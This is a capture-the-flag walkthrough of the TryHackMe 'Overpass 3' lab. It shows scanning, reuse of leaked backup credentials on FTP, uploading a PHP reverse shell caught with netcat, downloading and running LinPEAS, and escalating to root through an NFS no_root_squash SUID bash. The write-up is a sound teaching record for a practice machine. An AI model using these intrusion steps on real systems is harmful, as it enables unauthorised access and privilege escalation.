TryHackMe Walkthrough - Overpass 3 - Hosting

TryHackMe Walkthrough - Overpass 3 - Hosting


This is the third room of the Overpass series. After trying to build a password manager that was hacked, the overpass bunch now try to launch an hosting company. Let’s see if I can hack them.

  • Room: Overpass 3 - Hosting
  • Difficulty: Medium
  • URL:
After Overpass's rocky start in infosec, and the commercial failure of their password manager and subsequent hack, they've decided to try a new business venture.

Overpass has become a web hosting company!
Unfortunately, they haven't learned from their past mistakes. Rumour has it, their main web server is extremely vulnerable.


I started by looking at opened ports on the machine. The room description mentions a vulnerable web server, but there might be other interesting ports.

nmap -A -oN nmap.txt target

# Nmap 7.91 scan initiated Fri Mar 19 19:59:02 2021 as: nmap -A -oN nmap.txt target
Nmap scan report for target (
Host is up (0.62s latency).
Not shown: 997 filtered ports
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey: 
|   3072 de:5b:0e:b5:40:aa:43:4d:2a:83:31:14:20:77:9c:a1 (RSA)
|   256 f4:b5:a6:60:f4:d1:bf:e2:85:2e:2e:7e:5f:4c:ce:38 (ECDSA)
|_  256 29:e6:61:09:ed:8a:88:2b:55:74:f2:b7:33:ae:df:c8 (ED25519)
80/tcp open  http    Apache httpd 2.4.37 ((centos))
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.37 (centos)
|_http-title: Overpass Hosting
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at .
# Nmap done at Fri Mar 19 20:00:36 2021 -- 1 IP address (1 host up) scanned in 93.72 seconds

The machine as port 21 (FTP), 22 (SSH) and 80 (HTTP) opened.

Web Site

I started by looking at the web site.

Overpass Site

It’s a static site, without much on it. There is a list of name, maybe they can be used as usernames?

I found this little gem in the home page source code. Make sure your read the contract when your hosting company promise 5 nines.

We promise a 5 nines uptime,
            <!-- 0.99999% is 5 nines, right? -->and negotiable service level agreements down to of a matter of days to keep your business
            running smoothly even when technology gets in the way.

Other than then potential usernames, there was nothing that I could use on the home pages, and no links to other pages. Next, I tried finding hidden pages.

gobuster dir -e -u -t30 -w /usr/share/dirb/wordlists/common.txt  | tee gobuster.txt

Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:           
[+] Method:                  GET
[+] Threads:                 30
[+] Wordlist:                /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Expanded:                true
[+] Timeout:                 10s
2021/03/19 20:05:35 Starting gobuster in directory enumeration mode
===============================================================            (Status: 403) [Size: 218]                 (Status: 403) [Size: 213]            (Status: 403) [Size: 218]              (Status: 301) [Size: 230] [-->]             (Status: 403) [Size: 217]           (Status: 200) [Size: 1770]
2021/03/19 20:06:20 Finished

There was three folders found by Gobuster.

  • /backups/
  • /icons/
  • /cgi-bin/

The backups folder contained a file called I downloaded the file and uncompressed it. It contained an encrypted xlsx file, and the private key to decrypt it.

I imported the key, then used it to decypt the file.

$ unzip 
 extracting: CustomerDetails.xlsx.gpg
  inflating: priv.key

$ gpg --import priv.key 
gpg: key C9AE71AB3180BC08: public key "Paradox <paradox@overpass.thm>" imported
gpg: key C9AE71AB3180BC08: secret key imported
gpg: Total number processed: 1
gpg:               imported: 1
gpg:       secret keys read: 1
gpg:   secret keys imported: 1

$ gpg --decrypt CustomerDetails.xlsx.gpg > CustomerDetails.xlsx         
gpg: encrypted with 2048-bit RSA key, ID 9E86A1C63FB96335, created 2020-11-08
      "Paradox <paradox@overpass.thm>"

$ file CustomerDetails.xlsx
CustomerDetails.xlsx: Microsoft Excel 2007+

The spreadsheet contains customer names, usernames, passwords, and credit cards information.

Customer Name Username Password Credit card number CVC
Par. A. Doxx paradox PASSWORD 4111 1111 4555 1142 432
0day Montgomery 0day PASSWORD 5555 3412 4444 1115 642
Muir Land muirlandoracle PASSWORD 5103 2219 1119 9245 737

The /icons folder contained some icons and some text explaining their use. I seems to be an old default Apache page (Nmap identified version 2.4.37).

Apache Icons

The /cgi-bin/ did not have directory listing enabled.

I ran Gobuster on the 3 found folders, but it did not found anything else of interest.

Getting a Shell

I had a bunch of credentials, so I tried them on the FTP server to see if any works.

I tried paradox’s credentials first and it worked. The server contained the source to the website and the folder.

The other 2 sets of credentials did not work.

I also tried to the credentials to connect by ssh. They all got rejected.

I connected back to the FTP as paradox and took a closer look at the listing to see if I missed anything.

ftp target
Connected to target.

220 (vsFTPd 3.0.3)
Name (target:ehogue): paradox
331 Please specify the password.
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx    3 48       48             94 Mar 20 15:26 .
drwxrwxrwx    3 48       48             94 Mar 20 15:26 ..
drwxr-xr-x    2 48       48             24 Nov 08 21:25 backups
-rw-r--r--    1 0        0           65591 Nov 17 20:42 hallway.jpg
-rw-r--r--    1 0        0            1770 Nov 17 20:42 index.html
-rw-r--r--    1 0        0             576 Nov 17 20:42 main.css
-rw-r--r--    1 0        0            2511 Nov 17 20:42 overpass.svg

It looks like the folder might be writable. I tried uploading a file and it worked. I didn’t know which language, if any, would be supported by the server. So I tried uploading a simple PHP file to see if it would be interpreted, or if the code would just be printed.

cat test.php 
echo 'It works';
put test.php
local: test.php remote: test.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
24 bytes sent in 0.00 secs (40.4095 kB/s)

Uploading the file worked. Now I tried accessing it in a browser by going to . The page showed me ‘It works’. So that confirmed that PHP code was executed.

To get a shell on the server, I uploaded the PHP reverse shell from /usr/share/webshells/php/php-reverse-shell.php, started a Netcat listener on my machine and navigated to .

nc -lvnp 4444
Listening on 4444
Connection received on 35038
Linux ip-10-10-30-1 4.18.0-193.el8.x86_64 #1 SMP Fri May 8 10:59:10 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 15:35:48 up  2:15,  0 users,  load average: 0.00, 0.00, 0.06
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=48(apache) gid=48(apache) groups=48(apache)
sh: cannot set terminal process group (896): Inappropriate ioctl for device
sh: no job control in this shell

sh-4.4$ whoami

sh-4.4$ pwd

sh-4.4$ cd

sh-4.4$ pwd

sh-4.4$ ls -l
ls -l
total 20
drwxr-xr-x. 3 root root 4096 Nov  8  2020 error
drwxr-xr-x. 3 root root 8192 Nov  8  2020 icons
drwxr-xr-x. 3 root root  140 Nov  8  2020 noindex
-rw-r--r--. 1 root root   38 Nov 17  2020 web.flag

sh-4.4$ cat web.flag
cat web.flag

I had access to the machine, and the first flag.

Escalation to paradox

Now that I had access to the server, I needed to get access to a user account.

There are two users on the server: james and paradox. We have passwords found in the file from earlier, so I tried them with su. The credentials for paradox worked. None of the passwords worked for james.

$ su paradox

[paradox@ip-10-10-30-1 /]$ whoami

I copied my public key to paradox’s authorized_keys. So I was able to reconnect directly using ssh.

echo "MY_PULIC_KEY" > ~/.ssh/authorized_keys

Getting the User Flag

The home folder for paradox contains files with the customer information we found in the backups folder of the web site.

ssh paradox@target    
Last login: Sat Mar 20 17:00:24 2021                    

[paradox@ip-10-10-30-1 ~]$ ls -la                      
total 56                                                 
drwx------. 4 paradox paradox   203 Nov 18 18:29 .   
drwxr-xr-x. 4 root    root       34 Nov  8 19:34 ..
-rw-rw-r--. 1 paradox paradox 13353 Nov  8 21:23
lrwxrwxrwx. 1 paradox paradox     9 Nov  8 21:45 .bash_history -> /dev/null
-rw-r--r--. 1 paradox paradox    18 Nov  8  2019 .bash_logout
-rw-r--r--. 1 paradox paradox   141 Nov  8  2019 .bash_profile
-rw-r--r--. 1 paradox paradox   312 Nov  8  2019 .bashrc
-rw-rw-r--. 1 paradox paradox 10019 Nov  8 20:37 CustomerDetails.xlsx
-rw-rw-r--. 1 paradox paradox 10366 Nov  8 21:18 CustomerDetails.xlsx.gpg
drwx------. 4 paradox paradox   132 Nov  8 21:18 .gnupg
-rw-------. 1 paradox paradox  3522 Nov  8 21:16 priv.key
drwx------  2 paradox paradox    47 Nov 18 18:32 .ssh 

I couldn’t tell if there were the same version I found earlier. So I used scp to download them on my box and look at them.

$ scp paradox@target:~/ .
$ scp paradox@target:~/CustomerDetails.xlsx .
$ scp paradox@target:~/CustomerDetails.xlsx.gpg .

This gave me 3 versions of the CustomerDetails spreadsheet. One directly in the home folder, one encrypted, and one in the zip file. They all appeared to contain the same data. So I had to keep looking.

I spend some time looking around the server and did not find anything. So I decided to try if LinPEAS would find something.

I started a web server on my machine.

sudo python3 -m http.server 80

Then use it to download the script on the target server. And then run it.

curl -o

chmod +x
./ | tee linpeasRes.txt

Since linpeas take some time to run, and output a lot of data, I always redirect it’s output to a file. This way I can go back to look at it. And I can download it to my machine.

Note that LinPEAS produces colored text. So you can’t opened it in the text editor. Use less -r linpeasRes.txt to read it.

LinPEAS found a possible problem with the NFS export


The provided link has two possible exploits, one for remote, and one for local exploitation.

I tried running the remote exploit, but I couldn’t connect to it. The NFS port was closed.

root@kali:~# mkdir /tmp/pe

root@kali:~# mount -t nfs target:/ /tmp/pe
mount.nfs: Connection timed out

I tried the local exploit, but the target machine does not have gcc installed. The page note that the remote exploit will work though a ssh tunnel, so I decided to try that first.

I looked for the port used by NFS.

[paradox@ip-10-10-237-235 ~]$ rpcinfo -p | grep nfs
    100003    3   tcp   2049  nfs
    100003    4   tcp   2049  nfs
    100227    3   tcp   2049  nfs_acl

And opened a ssh tunnel for this port

ssh -L 2049:localhost:2049 paradox@target

Then I followed the instructions to mound the NFS locally as root.

root@kali:~# sudo apt install libnfs-utils

root@kali:~# mount -t nfs localhost:/ /tmp/pe

root@kali:~# ls /tmp/pe/

root@kali:~# cat /tmp/pe/user.flag 

I had the home folder of james locally with the user flag in it.

Getting root

To get root, I followed the instructions from HackTricks to upload a bash binary with suid set as root.

$ cd /tmp/pe
$ cp /bin/bash .
$ chmod +s bash

Because of the no_root_squash option on the NFS mount, james’ home folder now contained a bash executable owned by root with the suid bit set. So if james ran it, it will run as root.

I did not have james password, but since I had their home folder mounted, I could see their ssh private key. And use it to connect to the server as james.

$ ls /tmp/pe/.ssh/
authorized_keys  id_rsa

$ ssh james@target -i /tmp/pe/.ssh/id_rsa
Last failed login: Sat Jun  5 13:55:53 BST 2021 on pts/1
There were 4 failed login attempts since the last successful login.
Last login: Wed Nov 18 18:26:00 2020 from

Once connected, I could run the version of bash that has the suid bit set to become root and get the last flag.

[james@ip-10-10-237-235 ~]$ ./bash -p
./bash: /lib64/ no version information available (required by ./bash)

bash-5.1# whoami

bash-5.1# cat /root/root.flag 

The Overpass Series

That was the last room of the Overpass series. I have done the first two a while ago. From memory they were easier than this one. I should probably redo then and do a writeup for them also.

I really enjoyed the series, thanks to NinjaJc01 for creating it.